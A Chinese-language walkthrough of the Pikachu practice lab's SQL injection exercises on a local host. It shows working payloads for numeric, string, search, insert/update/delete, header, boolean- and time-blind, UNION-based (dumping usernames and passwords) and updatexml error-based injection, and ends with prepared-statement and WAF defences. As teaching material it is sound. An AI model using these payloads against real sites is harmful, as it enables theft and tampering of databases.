头图:https://cdn.naraku.cn/imgs/pikachu/sql-0.jpg
摘要:Pikachu漏洞靶场系列之SQL注入。

概述

在Owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2. 使用参数化(Parameterized Query 或 Parameterized Statement);
  3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

    数字型注入(POST)

  • 先在下拉框任意选择一项,点击查询,在网络选项卡可看到以POST方式提交的表单

Pikachu漏洞靶场系列之SQL - 图1

  • 通过页面的返回已经提示这里是数字型注入,那么可以猜测其后端逻辑大致如下

    1. select 用户名,用户邮箱 from 表名 where 列名=1
  • 所以可以直接构造Payload得到数据。这里利用HackBar插件,启用POST方式。

    1. submit=查询&id=1 or 1=1 --
  • 将此Payload传递进去后,后端会如下执行语句,返回全部用户数据

    1. select 用户名,用户邮箱 from 表名 where 列名=1 or 1=1 --

    Pikachu漏洞靶场系列之SQL - 图2

    字符型注入(GET)

  • 通过以下输入,判断后端语句为单引号闭合

    1. 1 # 正常返回
    2. 1' # 页面报错
    3. 1" # 正常返回
  • 猜测后端逻辑

    1. select 字段 from 表名 where 列名='1'
  • 构造Payload

    1. 1' or 1=1 #

    搜索型注入

  • 测试

    1. 1 # 正常返回
    2. 1% # 正常返回
    3. 1%' # 页面报错
    4. 1%" # 正常返回
  • 猜测后端逻辑

    1. select 字段 from 表名 where 列名 LIKE '%1%'
  • Payload

    1. 1%' or 1=1 #

    XX型注入

    变量的拼接类型是多种多样的,不仅仅限于以上3种类型。所以核心思想是猜测后台语句类型,使用各种闭合进行测试,构造合法SQL语句欺骗后台。

  • 没有提示,只能通过各种组合进行测试

    1. 1 # 正常返回
    2. 1' # 页面报错
    3. 1" # 正常返回
  • 判断为单字符闭合+搜索型。继续猜测后端逻辑

    1. 1' or 1=1 # # 页面报错
    2. 1'% or 1=1 # # 页面报错
    3. 1') or 1=1 # # 返回全部数据
  • 最终得到后端逻辑为

    1. select 字段 from 表名 where 列名 LIKE ('1')
  • Payload

    1. 1') or 1=1 #

    Insert/update注入

    Insert和update注入漏洞一般存在于新增或修改用户信息的地方。

  • 这里进入insert/update注入漏洞环境,点击注册。在账户名处输入',任意填写密码,点击注册。发现页面报错,即可能存在报错注入

  • 此处后台执行的SQL语句如下

    1. insert into member(username,pw,sex,phonenum,email,address) values('naraku','123',1,2,3,4)
  • 构造以下Payload并在账户处输入

    1. -- Payload
    2. ' or updatexml(1, concat(0x7e, database()), 0) or '
    3. -- 后台执行如下
    4. insert into member(username,pw,sex,phonenum,email,address)
    5. values('' or updatexml(1, concat(0x7e, database()), 0) or '','123',1,2,3,4)
  • 此时会返回updatexml()中的查询语句

  • 任意注册一个账户并登录,点击修改个人信息。在任意一栏输入',也会发现页面报错。贴入以上Payload,得到同样结果。

    delete注入

  • 进入delete注入漏洞环境,先任意输入一些留言

  • 点击删除,可以看到访问的url为:[http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1](http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1)
  • 后台SQL语句

    1. delete from message where id={$_GET['id']};
  • 这里是数字型注入,构造Payload

    1. -- Payload
    2. 1 or updatexml(1,concat(0x7e, database()),3)
    3. -- 后台执行如下
    4. delete from message where id=1 or updatexml(1,concat(0x7e, database()),3)

    http header注入

    有时候后台需要通过HTTP Header头获取客户端的一些信息,如UserAgentAccept字段等,会对客户端的HTTP Header信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header的SQL注入漏洞

  • 这里进入HTTP Header漏洞,使用admin/123456登录一下,可以看到UserAgentAccept字段被记录

Pikachu漏洞靶场系列之SQL - 图3

  • 点击退出,重新登录并抓取第二个包。然后发送到Repeater,将UserAgent修改为单引号',可以看到返回报错

Pikachu漏洞靶场系列之SQL - 图4

  • 猜测此处存在漏洞,构造Payload,这里Payload跟前面insert漏洞的Payload一样

    1. ' or updatexml(1,concat(0x7e, database()),3) or '

    Pikachu漏洞靶场系列之SQL - 图5

    布尔盲注(Base on boolian)

    前面的注入都是有明显报错信息返回的,但是很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于”真”和”假”的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假

  • 此处布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该username不存在,并且已知kobe这个用户存在。因此可以构造语句如下:

    1. kobe' and length(database())>6 #
    2. kobe' and length(database())>7 #
  • 使用length()函数来获取当前数据库名的长度并进行比较,在>6时返回用户信息,即证明为真;>7时返回username不存在,即为假。由此可判断该数据库的长度为7

  • 继续构造语句来猜解库名

    1. kobe' and ascii(substr(database(),1,1))>111 #
    2. kobe' and ascii(substr(database(),1,1))>112 # =>p
    3. ...
    4. kobe' and ascii(substr(database(),7,1))>116#
    5. kobe' and ascii(substr(database(),7,1))>117# =>u
  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值,取1位。并通过ascii()函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111时返回真,>112时返回假。由此可知该ASCII码为112,即p。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu

    时间盲注(Base on time)

    如果说基于Boolean的盲注在页面上还可以看到真和假不同的回显的话,那么如果页面上什么回显都没有呢?这里就要用到基于时间的盲注,通过特定的输入,判断后台执行的事件,从而确定注入。

  • 此处进入时间盲注漏洞,通过构造以下Payload来判断是否存在时间盲注

    1. kobe' and sleep(5) #
  • 通过控制台可以看到,原本打开这个页面的时间为4.05s我也不知道为什么这么慢…),提交以上Payload后返回的时间为9.11s,延迟了5s,由此可以确认此处存在时间盲注。

Pikachu漏洞靶场系列之SQL - 图6

  • 确认存在时间盲注后,可以使用if语句并通过返回的时间进行判断。构造Payload如下

    1. kobe' and if(length(database())>6, sleep(5), null) #
    2. kobe' and if(length(database())>7, sleep(5), null) #
  • 可以在控制台看到当数据库名长度>6时暂停了5秒,>7时没有暂停。由此可知数据库名长度为7

Pikachu漏洞靶场系列之SQL - 图7

  • 最后可以构造以下Payload猜测库名,原理同上

    1. kobe' and if((substr(database(),1,1))='a' , sleep(5), null) #
    2. kobe' and if((substr(database(),1,1))='p' , sleep(5), null) #

    宽字节注入

  • 视频讲解较少,后续另开文章。

    总结

    常见注入类型

  • 数字型:id=$id

  • 字符型:id='$id'
  • 搜索型:text like "%{$_GET['id']}%"

    Information_schema利用

    MySQL 5.0以上版本自带数据库information_schema,记录当前MySQL下所有数据库名、表名、列名。

基础

  • information_schema提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级
  • Information_schema.schemata:记录库名信息的表
    • schema_name:记录库名的字段
  • Information_schema.tables:记录表名信息的表
    • table_schema:记录库名的字段
    • table_name:记录表名的字段
  • Information_schema.columns:记录列名信息的表

    • table_schema:记录库名的字段
    • table_name:记录表名的字段
    • column_name:记录列名的字段

      实战

      这里利用字符型GET注入漏洞获取Pikachu库中用户数据
  • 判断闭合

    1. x' or 1=1 #
  • 猜列数

    1. x' order by 2 # -> 正常返回
    2. x' order by 3 # -> 返回错误,即可知列数为2
  • 获取数据库名,当前用户名

    1. x' union select database(),user() #
  • 查询全部库,可以看得库名Pikachu

    1. x' union select 1,schema_name from information_schema.schemata #
  • 查询Pikachu库中的全部表名:httpinfomembermessageusersxssblind

    1. x' union select 1,table_name from information_schema.tables where table_schema="pikachu" #
  • 查询Pikachu库users表中的全部列名:idusernamepasswordlevel

    1. x' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" #
  • 获取数据。从users表中查询usernamepassword

    1. x' union select username,password from users #

    报错注入

    基础

  • 条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端

  • 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。seletc/insert/update/delete都可以使用报错来获取信息
  • 常用函数:updatexml(XML_Document, XPath_String, New_Value)
    • XML_Document,表中字段名
    • XPath_String,XPath格式的字符串
    • New_Value,替换的值
  • 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是将查询表达式放在该参数中,查询结果会跟着报错信息一并返回。
  • 其它函数:ExtractValue((XML_Document, XPath_String)

    实战演示

  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号',可以看到返回报错信息,尝试报错注入

  • 构造Payload

    1. ' and updatexml(1, version(), 0) #
  • 此处结果为XPATH syntax error: '.53',可以看到返回的版本号显示不全,需要利用concat()函数

  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e~的十六进制,可以防止返回的查询结果被截断。

    1. ' and updatexml(1, concat(0x7e, version()) ,3) #
  • 此时返回的结果是XPATH syntax error: '~5.5.53'

  • 报错只能显示一行。假如执行以下语句获取表名,则会报错:Subquery returns more than 1 row

    1. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取,取1条

    1. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #
    2. ......
    3. ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
  • 后面获取列名也是一样

    1. ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #
    2. ......
    3. ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
  • 最后获取数据

    1. ' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
    2. ' and updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #

    暴力破解表名列名

  • 基本的Payload如下,可搭配Burp的爆破功能进行暴力破解

    1. ' and exists(select * from users) #
    2. ' and exists(select id from users) #

    常见防范措施

    Hacker -> WAF -> WebServer -> Database

  • 代码层面

    • 对输入进行严格的转义和过滤
    • 推荐:使用预处理和参数化
      1. # PHP中使用PDO的prepare预处理
      2. $username = $_GET['username'];
      3. $password = $_GET['password'];
      4. try{
      5. $pdo = new PDO('mysql:host=localhost; dbname=ant', 'root', 'root');
      6. $sql = "select * from admin where username=? and password=?";
      7. $stmt=$pdo->prepare($sql); // 预处理,先不传参
      8. $stmt->execute(array($username, $password)); // 以索引数组方式传参,而不是拼接,就成功防止了注入
      9. }catch(PDOException $e){
      10. echo $e->getMessage();
      11. }
  • 网络层面

    • 通过WAF设备启用防SQL注入策略
    • 云端防护(360网站卫士、阿里云盾等)